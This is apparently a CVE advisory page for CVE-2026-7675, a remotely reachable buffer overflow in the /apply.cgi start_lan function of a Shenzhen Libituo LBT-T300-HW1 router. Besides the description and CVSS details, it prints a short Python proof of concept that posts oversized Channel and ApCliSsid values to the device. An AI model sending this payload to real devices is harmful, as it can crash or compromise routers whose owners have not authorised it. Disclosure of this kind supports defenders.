Security Vulnerability Report
中文
CVE-2026-7675 CVSS 8.8 HIGH

CVE-2026-7675

Published: 2026-05-03 03:16:16
Last Modified: 2026-05-04 15:19:35

Description

A vulnerability has been found in Shenzhen Libituo Technology LBT-T300-HW1 up to 1.2.8. Impacted is the function start_lan of the file /apply.cgi. The manipulation of the argument Channel/ApCliSsid leads to buffer overflow. The attack is possible to be carried out remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Shenzhen Libituo Technology LBT-T300-HW1 <= 1.2.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL target_url = "http://<target_ip>/apply.cgi" # Vulnerable parameters: Channel and ApCliSsid # Payload generation to trigger buffer overflow payload = "A" * 1000 # Adjust length based on buffer size data = { "ACTION": "start_lan", "Channel": payload, "ApCliSsid": payload } try: # Send POST request to exploit the vulnerability response = requests.post(target_url, data=data) print(f"Status Code: {response.status_code}") print("Response text:", response.text) except Exception as e: print(f"An error occurred: {e}")

References

Raw JSON Data

JSON
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